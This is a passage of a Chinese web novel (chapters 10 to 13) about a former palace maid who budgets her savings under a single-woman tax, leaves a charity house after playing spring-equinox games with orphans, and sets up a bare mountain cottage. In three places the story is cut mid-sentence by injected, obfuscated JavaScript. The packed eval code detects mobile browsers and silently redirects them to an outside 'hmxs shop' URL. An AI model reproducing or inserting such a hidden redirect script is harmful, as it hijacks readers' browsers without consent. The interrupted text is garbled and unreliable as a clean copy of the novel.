宋大也奇怪:“也不知道这个惯例流传了这么多年,怎么今年忽然就改了?今年花鸟使出来召人时带的话,说是以后宫女二十五岁就可以被放出宫。因为这个,好些人家都觉得有了盼头,姑娘家也没有那么不情愿入宫了呢。都说进去见见世面,攒点银钱,出来年纪也不大,说不定能寻个更好的。要是万一在宫里被贵人看重,说不定自己也就飞上枝头成为贵人了。”
旁边有个牙人啐了一口:“那都是那些丧良心的父母贪图富贵说出来骗小娘子的话,宫里哪里是那么好进的,贵人又哪里是那么好当的。到时候当不成贵人,出来也成了老姑娘了,还能配什么好人?要我说,还不如在家待着,学门手艺,再认真相看找一门好亲事,到时候家里聘礼收了,姑娘也能时常见面,不必进宫好?”
宋大和另一个牙人说着话,听了一耳朵的黄迎春忽然想起在新年夜刚被册封的皇后娘娘。先后还在时,新后一直屈居人下,当了多年的皇贵妃,才终于熬成皇后。多年媳妇熬成婆,新官上任三把火,这些黄迎春都能理解。但是,当这把火烧到自己头上,城门失火殃及池鱼时,黄迎春就一点儿都高兴不起来了。
皇后娘娘,您倒是把单身税的收取年限也一起改了呀!
黄迎春望着皇宫的方向,尝到了哀莫大于心死的滋味。
黄迎春现在才明白,她一直心心念念的出宫倒计时,其实还是免税倒计时。
现在好了。
“黄迎春,女,二十七岁,今年秋收时应缴纳单身税,六贯五百文。”
黄迎春去了一趟衙门,望着文书边说边在纸上写下的那句话,想想明年要交七贯,后年要交七贯五百文,两眼一黑,差点倒在算盘前。
为什么她偏偏出生在迎春花开的春天呢?为什么她不能提前几个月出生呢?这样她就可以少缴八贯钱了!
给个甜枣再打个巴掌,黄迎春就这样在上天的捉弄里神思不属地走回慈善堂,连夕食也没心思吃。
真的可以活下去吗?
怀里只有二十八贯的黄迎春看不清前路,她裹着芦花被,在凉飕飕的房间里沉沉地叹了一口气。
10. 二十贯
前几日还觉得自己身上的财产是穷苦人家大半辈子都积攒不到的钱数,现在,黄迎春完全不敢这么想。
老话说破家值万贯,她支了十贯钱出去,只能置办一座空落落的屋舍,若想冬日过得舒适一点,找人盘个火炕还得再花上二百文,更别提锅碗瓢盆等各种日常生活用品还没置办,样样都得买,样样都得花钱。
黄迎春把怀里的二十八贯钱翻出来,对着它们翻来覆去地想,怎么算都不够用。
白日里为了拒绝宋大,她说了许多认命的话。话虽然是这么说着,但能活,黄迎春倒也没有那么盼着去死。日子既然还有点盼头,她就得为以后多做打算。
钱是一分都不能多花的,既然落了农籍,变成个靠山吃山的山户,谁也不知道今年年景如何。万一收成不好,粮食不丰,仅够来年的口粮,她就无法卖粮换钱,无法在秋收后交上赋税,然后就会被官府抓走惩罚。无论是挨板子还是做劳役,黄迎春都不想碰上。所以,最好的办法就是提前把今年要交的税费留出来,不去动。
女户不易,立女户的人多是家里的男人死绝了,没办法,只能靠女人撑起家里的一片天。女子比男子体弱,在这个世道像男人一样养家糊口十分不易,因此,官府有对女子立户前三年减免赋税的扶持政策。可惜,黄迎春却讨不到什么便宜。以她现在的财力,她根本无法支撑买田置地的打算,按律,田税虽然对她有所减免,黄迎春今年却无福消受。
山地地形复杂,丈量不易,清丈困难,所以官府一向采取免丈政策。黄迎春只需要每年按照亩数意思性地缴纳上一笔山泽税,便能在荒山安然度日。根据黄迎春今天去衙门打听到的消息,她应交的山泽税每年大概在三百文。
人头税一年也要交上五百文。
如果家中养了牲畜,还要交牲畜税。
拥有一头耕牛是黄迎春的梦想,可惜,她如今注定无法如愿。
买一头牛的价格和盖一座房子差不多,最便宜的也要十贯。如果买小牛犊,倒是只需要二三贯,刚好是一亩良田的钱数。只是小牛犊还没长大,买回家也干不了活,还得好生养着,万一在养育过程中出了什么事,被人偷了或是生病了,也是一件麻烦事,所以少有人会买小牛犊,大多都是买可以直接下地耕田的健牛。
但这些都不是黄迎春该操心的事情,别说牛和小牛犊了,她连一亩良田都买不起,还得从二十八贯里匀出八贯税费放好,留着秋收后缴纳给衙门。
那么,就只剩下二十贯了。
黄迎春细细思量,既然要安家,总得要有吃饭的家伙。
上山砍柴要用柴刀,割稻要使镰刀,锄地要用锄头……光是农具就又要花一大笔钱。厨房的铁锅和菜刀也是必不可少的,铁价高昂,偏偏这些又都是省不了的必需品,黄迎春光是想想,就觉得心在流血。
二十贯也不知道买完农具和炊具之后还能剩下多少。
荒山还没开垦,黄迎春手里没有余粮,今年的粮食还得去米行买。播种的粮种也没着落。开门七件事,柴米油盐酱醋茶,黄迎春除了最后一个能义无反顾地丢弃掉,其他六样,样样都无法俭省,偏偏它们都是生活必需品,极其容易消耗,需要常常补充。
石娘子送完外卖来黄迎春的房间门口敲门,生怕黄迎春病了,非要黄迎春出来吃饭。
“我听月娘说你回来的时候脸色不大好,是不是这几日在外行走冷到了?最近天气反复无常,你可得多注意点。不能因为快开春了,就删减衣裳,这天多变着呢。我烧了一锅暖菜,快来吃。”
所谓暖菜,就是在开春时把去年冬天放在地窖里存鲜的蔬菜拿出来混着豆豉用小火炖到菜烂汤浓。虽然没有肉,但喝一碗下去,又暖又醇,足够御寒。有那疼爱孩子的人家,还会放一点饴糖进去熬煮,给孩子甜甜嘴。石娘子就是这种疼爱孩子的人。她虽然因为无子被夫家休弃,也为娘家不容,但她没有把这些憎怨发泄到孩子们身上,反而对慈善堂里的每一个孩子都关爱有加,视如己出。
石娘子不仅关心孩子,还关心黄迎春,见黄迎春手里的碗即将见底,连忙要帮她打第二碗。
黄迎春怎么肯,连忙推拒:“不用,石娘子你坐着吧,和孩子们说说话。我自己去厨房打就好了。”
黄迎春走到厨房,脚底却如同扎了根一般,再也走不动。
她瞪着厨房里的大水缸,不知道这件庞然大物要价多少,想必,光是运费,都是一个了不得的数目吧。
住在城里吃水都是要钱的,每日都有专门的担水人挑了水来卖,通常每家每户都会买,哪怕是家里有井的人家。城里的水也不知道是怎么回事,买来的水便甘甜,家中井里打上来的水就晦涩,味道又怪又苦,入不了喉,只能拿来浇地浣衣。慈善堂是没有水井的,不是官府没钱打,而是慈善堂里孩子多,又小,怕他们一不小心掉进去,所以索性在厨房里摆了一口大水缸,又在水行那里订了水,由专人每天送上门来,月初石娘子领了银钱之后再统一去结账。
黄迎春倒是不愁吃水的问题,她以后要住在山里,山中最不缺的便是山泉水。而且她还特意和宋大说过,她的房子一定要盖在一个离河近但不会被河水淹到的地方,方便她到时候灌溉菜地。
是的,虽然她的房子还没影,但是黄迎春已经想好她要在院子里种些什么菜了。
不幸的是,黄迎春又想到了一件十分棘手的事情——她怎么把水从河里取出来呢?
该花的钱终究还是省不了的。
就算山里有河,她吃水不用花钱,也得先买一个木桶和一个水瓢,否则以她从小习来的竹编手艺,到时候就真成了竹篮打水一场空了。
热气从木头锅盖的边沿冒出,发出豆豉炖煮之后独有的香气,黄迎春刚想去盛暖菜,看见灶膛里亮着火星的树枝,又是一怔。
除了水,她也没有火。
只要交电费和天然气费就能把食物变熟的日子对黄迎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771641|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
春来说已经很遥远了,她渐渐习惯打草砍柴把它们晒干又塞进灶膛里的生活,但自从进了宫,吃食由花房的小厨房统一掌管之后,黄迎春就再也没有自己生过火,不做饭的日子过得太久,黄迎春险些忘了火这个东西并不会自动从灶膛里冒出来。她也没有钻木取火的本事,更做不来茹毛饮血的事情,所以火石也是必不可少需要添置的。
安朝没有冰箱,永安城这地界又冬冷夏热,给食物防腐的方法就是使劲腌制。不是用豆豉,就是用蜂蜜。要么齁咸,要么齁甜。不管哪一种腌制方式,储物用的陶罐是绝对少不了的。想到罐子,黄迎春又想起,吃饭也需要碗。这又是一样要买的。
要买的东西越想越多,每一样都离不开钱,黄迎春越想越头疼,连汤也不想续了,草草洗干净碗筷,和石娘子打了声招呼后,她转身就回了房间,早早吹灭蜡烛躺到床上。
没想到睡了也不安生。
黄迎春做了一个梦,她梦见自己装钱的荷包忽然从她的怀中飞走,怎么抓也抓不住。
荷包上上下下地飘着,她的心也跟着七上八下的,眼睛盯着荷包,手不停地去抓,最后,她终于抓住荷包,落到手里的重量却轻飘飘得让人害怕。黄迎春急忙打开,一看,荷包里空无一物,一文钱都没有。天旋地转间,她跌倒在地。正想哭天喊地时,她发现自己不知不觉间来到一座农舍前。
农舍很新,但四周一片荒芜。
黄迎春从梦中醒来,只记着一件事。
刚砍下来的树枝没有经过晾晒是无法变成柴火的,所以,她难道守着一座遍地都是草木的荒山,还要花钱去买柴火吗?
第二天一早,黄迎春就急急忙忙赶到牙行,问宋大施工队出发了没有。
宋大得知黄迎春的顾虑后,让她放心:“盖房都要先看风水再划地方,除非主人家自己早早选定地方并收拾好,不然没有哪块地是不长草的。施工队昨日下午就已经出发了,他们都是有分寸的人,风评在这一带向来都很好,不用嘱咐也不会干那种偷鸡摸狗的事。为了您能早日住上新屋,我安排他们住在附近的宋家村,等到房子盖好那天他们才会回城。进城都是要看户帖的,他们出城的明目是盖房,回来却一人背了一大捆柴,这说不过去,城差也不会轻易放他们进来。所以您尽管放心,清地的草木他们都会给您留着,盖间屋子少说也要十来天,等您回到家,那些草木也差不多晒干了。多的不敢说,一两顿饭还是能烧的。”
黄迎春安心了,然后,她又在治病之余,紧锣密鼓地把时间投入在各条街市里。
只剩二十贯了,离开前还要向石娘子结清这些天住在慈善堂的费用,一天二十文,一个月下来就是六百文,黄迎春现在是恨不得一文钱掰成两半来花,结果杏林医馆的大夫还一直念叨着让她宽心。
想想大夫宽慰她的话,黄迎春就欲哭无泪。
船到桥头自然直吗?
不。
船到桥头,只会自然沉。
11. 春分
虽然压力重重,但黄迎春还是在为生活不停地努力着。
不只她,慈善堂里的小孩子们也有属于他们自己的烦恼。
这天,黄迎春从集市上回来,看见月娘一个人蹲在门后拿着一根小棍子捅着从地面冒出来的一棵野草,整个人闷闷不乐。
“月娘,怎么了?不开心?”
月娘蔫蔫地应了一声:“今天是春分。”
春分这一天,每家都会煮汤圆吃。煮好的汤圆,挑没有包心的,拿十多个或二三十个,用细细的竹棍或树枝叉了,立在自己家的田边地坎上,就可以防止鸟雀来破坏今年的庄稼。因此,春分这天吃的汤圆还有一个别名,叫“粘雀子嘴”。
希望用汤圆将麻雀的嘴粘住,这样麻雀们就不会再来吃地里的庄稼,这种想法只是农民们的美好愿望,不过大家正是靠着像这样的一个又一个仪式感获取力量,迸发出希翼和斗志,才有力气继续在这片土地上努力生存下去。
“石娘娘以前也会煮粘雀子嘴给我们吃,糯米价贵,汤圆黏性又大,吃多了不消化,所以我们每个人的碗里只会分到三颗汤圆。但是去年小叶子吃汤圆的时候噎到了,明明吃的时候石娘娘都小心嘱咐过,让大家慢慢吃,一颗汤圆要分成几口吃,不要心急,但是小叶子嘴馋,非要一口一个,结果没吞下去,黏在了喉咙里。要不是医馆就在旁边,小叶子就没命了。所以,石娘娘就说以后再也不煮粘雀子嘴了。”
月娘年纪不大,说话却很流利,条理也很清晰。
黄迎春怜爱地望着她:“既然你知道缘由,为什么还是不开心呢?是不是想吃汤圆了?这样吧,我给你买块梨膏糖吃,你在这里等我一会儿。”
月娘看了一眼散落在四处的同伴和桌椅摆放得十分整齐的膳堂,摇摇头。
“我不是想吃……我没有很想很想吃粘雀子嘴,只是石娘娘以前都会在春分这天把糯米粉和熟水准备好,让我们自己揉面、搓汤圆。大家把桌子都摆到一起,围着桌子站在一起,一边玩一边包,然后石娘娘再把包好的汤圆拿去煮……”
黄迎春听明白了。虽然慈善堂是官府救济机构,但分发下来的银钱并不宽裕。石娘子每个月都在精打细算,才勉强能让每个孩子都吃饱穿暖,但再多的,便不能了。永安城里寸土寸金,慈善堂地方不大,孩子们活动空间受限,石娘子又不敢把他们放出去玩,怕被拍花子的迷昏带走,春分包汤圆对慈善堂里的孩子们来说,是难得的娱乐活动。如今,这项娱乐活动也取消了,月娘难免会在春分这天触景伤情。
黄迎春默默离开,过了一会儿,提回来一篮子鸡蛋和一捆竹蔑。
她把孩子们叫到身边,一人一个把鸡蛋都分出去:“有句俗语叫‘春分到,蛋儿俏’,你们知道什么意思吗?”
月娘和她的小伙伴们你看看我,我看看你,都一脸茫然地摇摇头。
“这句话说的是在春分来临之际,有些地方的人都会和他们的玩伴玩一个叫‘竖蛋’的游戏。首先,要找一个刚被母鸡下出来四五天的新鲜鸡蛋,如果那个卖蛋的农人没骗我,那你们手里的蛋就都符合标准。”
孩子们看看手里的鸡蛋,不停地用手摸着,按捺不住满脸的喜悦:“然后呢?怎么玩?”
“然后,我需要一张光滑的桌子。”
立刻有孩子喊道:“我知道哪张桌子没坑,我带你去。”
一群人乌泱乌泱地簇拥着黄迎春来到一张桌面瑕疵最少的桌子前,然后,大家屏气凝神,安静地看着黄迎春动作。
黄迎春两手一摊。
她把鸡蛋都发出去了,自己反倒一个都没有留下。
月娘主动把她的鸡蛋拿给黄迎春做示范,一大一小两个女娘四目相对,笑得十分开心。
在许多双眼睛的注视下,黄迎春拿起鸡蛋,选了更光滑匀称的那面头,把它立在桌上。神奇的一幕出现了。鸡蛋并没有倒下,而是直挺挺地竖在桌子上。
没想到第一次实验就成功了,黄迎春自己也很得意,她把鸡蛋还给月娘,笑道:“只要把鸡蛋竖在桌子上,就算成功。这就是春分的竖蛋游戏。”
搞清楚玩法后,大家都一窝蜂地涌到桌边,急不可耐地把自己的鸡蛋放到桌子上,有一次就竖起来的,有立了好几次还是不成功的,有坚决不放弃最终终于成功的,还有一不小心把鸡蛋壳磕裂了一条缝的……这间不到用饭时间总是十分安静的膳堂,一时之间充满了欢声笑语与快活的气息。
无论男女,孩子们在游戏一道上总是无师自通的。不一会儿,一个简简单单的竖蛋游戏就被他们搞出许多花样来。有比谁竖得久的单人赛,还有比哪一队竖得多的团体赛。孩子们的大呼小叫完全没有打扰到正在不断编织竹蔑的黄迎春,不过片刻功夫,一个随风旋转的风车就在黄迎春的手里诞生了。
一场酣畅淋漓的单人竖蛋比赛刚刚决出胜负,黄迎春走过去,把风车递给赢的那一方:“你真是太厉害了!你是怎么做到的?能不能教教他们?这是我付给你的学费。”
“当……当然可以。”刚才还一脸天上地下我最厉害的小郎君面对黄迎春真诚的夸奖,顿时脸红得和慈善堂门前挂着的红灯笼一样。他既羞涩又惊喜,在身边同伴们的羡慕下,伸手接过人生中的第一笔“学费”,磕磕绊绊地答道。
“真好。”
黄迎春拿起竹蔑,接着做第二个风车。这回,她的身边多了许多小尾巴。不少人看了之后,觉得不太难,也跃跃欲试。小孩子的心思是很好辨认的,黄迎春把买来的竹蔑分给几个年纪稍大一点的孩子,放慢手里的步骤,让他们跟着自己一点点学习。
孩子们学得很认真,生怕浪费了一星半点的材料。
黄迎春看着他们,忽然想起今天她在路上遇到的那些拿着风筝的孩子。
今日她在集市上,不仅有看到卖春菜和送春牛的,还见到有大人在孩子的痴缠下买风筝。
春天来临,风和日丽,正是放风筝的好时节。虽然还有倒春寒需要防范,但被拘在家里熬了一冬的孩子们可不管那么多,眼见天气好了,纷纷拿着风筝出门放风。
慈善堂的孩子们不比其他孩子自由,每天望见的都是一样形状的天空,没什么新意。
她原本也想带一个风筝回来给孩子们玩,但慈善堂里地方小,施展空间不足,无法容纳孩子们放风筝,而且风筝就一个,也不好分,黄迎春不想引起纷争,就想出了一个做竹风车的主意。
现在看来,这主意还不赖,孩子们看起来都挺开心的,脸上的笑容一点儿都不比放风筝的那些孩子们少。
风车简单易得,一捆竹蔑也要不了几文钱,却能让许多孩子都收获一个转得飞快的玩具。这天,孩子们虽然没有吃上自己包的粘雀子嘴,但不少人玩上了自己做的竹风车,还喝上了用裂缝的鸡蛋做成的蛋花汤,每个人都很开心。
除了石娘子。
“鸡蛋一个要三文钱,你买这么多,得花多少哪!”
“没事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771642|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,孩子们开心就行。”
同孩子们快快乐乐地玩闹一场后,第二天一早,天刚蒙蒙亮,黄迎春就向石娘子提出退租。
她递给石娘子一串钱:“这是六百六十文,你点点。”
“你这么快就要走了?”昨天去杏仁医馆送餐时,药童没给她拿新的药膳方子,石娘子就知道黄迎春的病可能要治好了,只是没想到,分离的这一天来得这么快。
黄迎春点点头:“房子建好了,我的病也大好了,也该走了,要不该误了农时了。”
这个时节正是农忙的时候,石娘子没办法拦,得知黄迎春的房子建在临安乡的某个山脚下后,又着急起来:“你好歹提前几天和我说,我给你做些路上吃的干粮啊。”
“不用。”黄迎春推辞道,“我已经雇好车了,出了城门口,不远就是渡口,坐船快得很,听说两个时辰就能到镇上。到了镇上,就近了。”
石娘子一听黄迎春这又是坐车又要坐船的,更急了,转身就往厨房走:“新建的房子冷锅冷灶的,你要煮点饭还得先去挑水砍柴,不成不成,你晚一点再走,我给你烙几个饼。让车夫等一会儿,你放心,我手脚快得很。”
黄迎春等不及,她想趁早赶路,去镇上添置家什。
虽然永安城里待售的货物品种、功能和花样都更多,但黄迎春只要最基本的功能。在镇上买,一则价格比城里买更便宜;二是可以减免费用,如果在城里买,她把那么多东西运回荒山都不知道要添进去多少运费。
所以虽然赶着时间回山开荒,但黄迎春也要硬挤一两天时间在镇上停留,好把需要的东西一次性购置妥当。在永安城里时间虽多,但她的时间又换不来钱,索性荒废了。虽然不买,但黄迎春这些天治疗结束后都会花许多时间在街道上闲逛,对她即将购买的物品行情都有所了解,想来去了镇上也不会被商家蒙骗得太厉害。
只是,每每看见一些想来镇上的店铺不会采买、只有永安城里才有售卖的东西,黄迎春总是克制不住自己蠢蠢欲动的那颗心。
但是没关系,轻飘飘的荷包会帮黄迎春抵制诱惑。
黄迎春只能回味着西红柿炒鸡蛋的酸甜滋味,然后望着西红柿顶着一个番柿的名头在花市里摇曳生姿。
她甚至连价钱都不敢打听。
番,外来者。用脚趾头想也知道,上辈子超市里三四块钱一斤的西红柿在道路崎岖车马很慢的安朝会有多珍贵。
最后,黄迎春什么都没从永安城带走,她甚至还把她身上穿的和包袱里从宫中带出来的几身衣裳拿到当铺当了死当,换来两季四套家常穿的普通衣裳。
鼓鼓囊囊的包袱一下子瘪了下去,黄迎春穿上了随处可见的衣裳式样,再也没有人可以通过她身上的服饰认出她曾经的宫女身份。
黄迎春想和过去一刀两断,干干净净地踏入她的新生活。
她把一切都准备好了。
见黄迎春已经打定主意,石娘子也不好再劝,只能不舍地把黄迎春送出门。
朝夕相处了一个多月,黄迎春见石娘子脸色不好,自己的心里也不好受。
她故作轻松:“等我把山都开垦了,在空地上种些果树,过几年结了果子,我就来慈善堂找你们,把孩子们都带过去,帮我爬树摘果子。”
石娘子笑道:“你这样可亏,那群皮猴说不定连吃带拿,还不知道能给你剩下几个果。”
“那我也乐意。”
两人其乐融融地道别。
12. 开锅
距离离开永安城已经三天的时间了,荷包里的钱也被黄迎春花的只剩下一贯。
在镇上一笔接一笔花出去的钱,变成了堂屋里的锄头和镰刀,厨房里的铁锅、菜刀、还有装着油、盐等各色调味品的罐子,灶台上的碗、灶台下的火石、灶台旁边的木盆,地窖里的粮食和种子,卧房墙角的一把夜壶和铺在卧房火炕上面的一条芦花被。
黄迎春提着一桶打得满满当当的河水走进厨房,水瓢随着她的走动不停撞到木桶内壁,发出“咣当咣当”的声响。
昨天回来得急,又赶了半天多的路,黄迎春累极了。
她一进门就连忙卸下身上的东西。
点清货物之后,又赶紧结了脚夫的费用,好让人早点回家。
之后,趁着还有点天光,她又连忙跟着此行的引路人——也是牙行特意在施工队离开前请来验收盖房工程的监工,去参观她的新房。
施工队前两日盖好房子之后就已经离开了,监工留在镇上等着和黄迎春交接。
当然,监工的劳务费也一早就包含在盖房的十贯里,黄迎春不用再额外出钱。
她对自家的三间房子也没有什么不满意的,因此,脚夫离开没多久,监工也被黄迎春好声好气地从自家门前送走。
然后,黄迎春把每扇门窗都合起来,接着就匆匆躺倒在炕上睡了过去,连放在堂屋的东西都来不及理。
原本只想歇息片刻就起来弄饭吃,没想到她一闭眼就直接睡到半夜,最后还是被冷醒的。
就着外面的月光勉强从一堆东西里翻出火石,击打了半天,好不容易才把炕烧起来,连口水都没的喝的黄迎春又忍着饥渴卷了被子躺到炕上再度睡去。
她实在是太累了。
这三天,她的手脚和口舌就没有停过。
也不知道睡了多久,起来,太阳未见踪影,但天边已经大亮,黄迎春连忙开了地窖,把能吃到今年秋天的粮食都搬到地窖里藏好,这才又沿着竹梯爬上来,从堂屋把她带回来的东西一一归置到每个房间,又拎着木桶打了水,准备把家里到处都打扫一遍。
虽然是新盖的屋子,但也免不了尘土,黄迎春觉得还是自己收拾一遍之后住了更安心。
只是没想到,她在镇上走得腿都快细了一圈才买来、又费尽千辛万苦最后还雇了个脚夫一起帮忙才从镇上全部扛回家来的东西,分门别类放好之后,看上去每个房间好像都没有几样,占据的空间少得让人心碎。
想扫地,没有扫帚。
想擦桌,没有抹布。
山上多的是扎扫帚的材料,黄迎春自己就会扎扫帚,所以就没有浪费这个钱。
至于抹布,寻常人家用的抹布都是弃之不用的旧衣裳,偏偏黄迎春的旧衣裳在还没出永安城的时候就拿到当铺去典了死当,连随身携带的手帕,也因为是宫中出来的布料,被黄迎春一视同仁,一起拿去卖钱了。如今,黄迎春翻遍全身上下,竟找不到一样可以充当抹布的布料。
黄迎春从堂屋走到厨房,又从厨房走到卧室,拔地而起的三间房屋空空荡荡,地上只有为了防潮而夯得极实的土,墙上除了几扇木窗,全是为了盖住竹编夹泥墙体的白灰,抬头一看,目之所及,不是竹蔑就是茅草,连块砖瓦也无,一看就是平民百姓中最基础的配置。结果,这样的家竟然找不出一块抹布,她身上穿的和包袱里装的全是成衣,黄迎春也不知道自己到底是穷还是富。
好在,很快,黄迎春发现自己其实也没必要一定要找块抹布出来了。
因为,无论堂屋厨房还是卧室,一张桌子都没有。
擦桌擦桌,好歹也得有张桌子才能擦啊!
不仅桌子,常见的长凳、箱柜、矮床、靠背椅、竹榻,家里也一件都没有。她昨天晚上睡的那张炕,别说既结实又便宜的高粱席了,上面甚至连张最易得的草席都没有,她一整晚都是卷着那张芦花被半垫半盖地睡觉的。
什么叫家徒四壁?这就叫家徒四壁啊!
黄迎春站在堂屋里,望着自己的家,油然而生一股安心感。
她看着家里唯一的一扇木门,上面空空如也。
她在镇上的时候,一直想给家里的门买个锁挂上,这样她离家外出的时候也能安心点。可惜单单一把铁锁,打铁铺就开价二百文,这还不算再置一把钥匙的钱。虽然手上还剩下一贯,买这两样足够了,但黄迎春最后还是没买——总得给自己留点家底应付意外支出。
如今,残留在心里的那点不安心也随风飘散了。
这么穷的家,贼来了说不定都得落下两滴泪。
反正也没东西可打扫,黄迎春就把昨天在镇上买了一刀肉拿出来,准备拾掇拾掇,给铁锅开个锅,也算安家的仪式感。
不管古代现代,大家对搬家这件事都十分重视,这点从搬家被称为“乔迁之喜”就能看出来。搬家前要请风水先生或者根据黄历挑一个吉日,还会选择白天中阳气旺盛的时辰进行主要仪式。仪式的流程也很复杂,首先要净宅,有钱人家会买檀香或沉香,从房子的内部开始点燃,尤其是床下和角落,要多熏一熏,最后再由屋主拿着香料从大门走出,意为驱邪清秽。平民百姓会买一点粗盐和大米混在一起,在屋内四处撒放,过一段时间再清扫干净,意为驱除不洁,也是一样的意思。之后,还有拜四角、烧五色衣纸等各种流程。
这些都是监工告诉黄迎春的,可惜,黄迎春心有余而力不足,什么也办不到。
别说檀香沉香这种名贵香料了,就连普通的粗盐和大米,黄迎春也舍不得往地上扔。
虽然她盖不起砖瓦房,但这几间竹木结构的茅草屋也是她辛辛苦苦为自己奔来的归宿。
能在安朝有一个属于自己的家,有一个能给自己遮风挡雨的去处,从此不再担惊受怕,黄迎春能过上这种生活,她自己是最高兴的那个人。
虽然昨天她又饿又渴,又累又困,但当监工把气喘吁吁的她领到这三间简陋的房屋面前时,黄迎春难以描绘她当时的心情,简直比走出宫门那一瞬还要高兴。
黄迎春想,她会永远记得昨天,这是她这辈子最高兴的一天。
黄迎春也想给自己的家留下一个好印象,无奈囊中羞涩。
所有的仪式里,她只能做到一大早起来就去河边打一桶寓意“风生水起、顺风顺水”的水提进家门。
这桶水,先是被黄迎春拿了几水瓢出来把铁锅从里到外冲了好几遍,她又用买丝瓜种子时软磨硬泡要来的丝瓜络用力擦洗,把新铸的锅底洗得干干净净,然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771643|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她又把那刀从肉铺上买来的肥猪肉拿在水下反复冲洗,最后把木头锅盖反扣,把肉暂放到锅盖上。
黄迎春又去包袱里翻翻找找,找出一块麻布。
这本来是她买来预备做月事带的。
现代的卫生巾满大街随意找间超市就能买得到,安朝则不然,哪怕是专做女子衣裳的裁缝铺,也找不到一条月事带。
无论老少贫富,谁也别想在外头买到现成的月事带,都是自己裁了布料回家去做。
黄迎春在镇上和监工汇合时得知从镇上到她家的脚程要三个时辰时,她便想着日后出来一趟一定不易,也不知道什么时候会再来镇上,所以无论什么东西都是往多了买,估着自己能使到今年秋收后的份量一次性买齐,自然也包括她每个月都离不开的月事带。
所以,光是麻布她就买了十几条。虽然都是挑的瑕疵货,尺寸也不大,但胜在干净,没人用过,是去年仓库里堆积的陈货,今年的蚕市快开了,库房清仓,让黄迎春捡了个便宜。
黄迎春从她捡到的宝贝里拿出一条,用清水淘洗干净,然后把麻布拧到最干,拿着麻布把锅从里到外擦得干干净净,直到一滴水迹也没有附着在锅面上。
接着,黄迎春开始烧火。
宋大找的施工队如他所说,并不贪图那点柴火,还把晒干的枯枝和草木收拢在一起堆在厨房外。
昨天黄迎春废了大力气点火烧炕,今日就轻松了,火种埋在灶膛里,黄迎春拿了一根较长的树枝轻轻一挑,火星就从浅浅的草木灰烬里冒出来,在易燃的松针堆里噼啪作响,火苗越燃越旺,锅也越来越热。
此时,放在锅盖上的肥肉也差不多晾干了。
不过开锅是大事,黄迎春从前没做过,不敢掉以轻心,还是拿了一条新麻布把肉擦了一遍,直到肉身变得十分干燥,仿佛她昨天在肉摊上见到的模样,她才把肥肉放到烧热的锅里,将它均匀地涂过锅里的每一处,擦过一遍后,把锅洗干净,然后继续重复。
铁匠说过这个过程要重复两到三遍,然后把火灭掉,等到锅自然冷却之后就可以正常使用,开锅的环节也就全部结束了。但是黄迎春刚擦过第二遍,就发现她买的那块白中带红的肥猪肉变成了黑黢黢的样子。
黄迎春不知怎的,忽然觉得自己是地狱行刑的鬼差,面前的铁锅是十八层地狱中的火劫,而锅里的肉,不知道犯了什么天怒人怨的恶事,生前当猪也就罢了,死后还要遭受这种折磨。
可惜归可惜,并不妨碍黄迎春把猪肉外面那层焦黑的皮肉弄掉,然后打着没有冰箱不好存放所以今天就要把这块肉煮了吃掉的想法,望着这块花了她二十文的肥肉,思考起菜单。
再有善心的鬼,也经不起穷。要不怎么会有“有钱能使鬼推磨”这句话流传下来呢,想来鬼这存在,总是偏穷的。黄迎春这只穷鬼,刹那间就想好这块已经被用过一遭的肥肉的做法。
物尽其用,分为三步。
首先,榨油,榨成能放好久好久的猪油。
然后,炼猪油渣,把再也榨不出油的猪肉炼成闻起来好香好香的猪油渣。
最后,黄迎春尝了一口焦香干脆的猪油渣,捞起立在木桶旁边的鹤嘴锄就往外走。
香喷喷的野葱,我来啦!
13. 野葱炒猪油渣焖饭
野葱最好吃的季节,非春天莫属。
这时野葱刚发芽,一场春雨过后,深绿色的叶子便蹭蹭蹭地往上长,辛辣味不重不说,口感也鲜嫩。
掐上一把葱叶,再切几片腊肉,大火猛炒,那香气,别提多霸道。趁热夹上一筷子,再拨两勺干饭……那滋味,黄迎春光是想想,就口齿生津。
虽然她养不起猪,也没从镇上买来腊肉,但是猪油渣毕竟也是油水,采了野葱之后赶回家,把锅烧热,用猛火将热气一激,葱香混着猪油味,难道会比野葱炒腊肉逊色吗?
还没吃朝食的黄迎春越想越激动,忍不住加快了她的脚步。
野葱是很好找的,它们随处可见。
不管是在山坡里、草地上、田间地头还是路边,只要认真搜寻,都能发现它们的踪迹。
如果是自家菜园里种的葱,为了留根,往往都是掐一把便罢,剩下的还要留着慢慢长。
但是,野外生长的葱就不用这么小心翼翼。
本就是不值钱的玩意儿,长得满地都是,全拔了也是不心疼的。
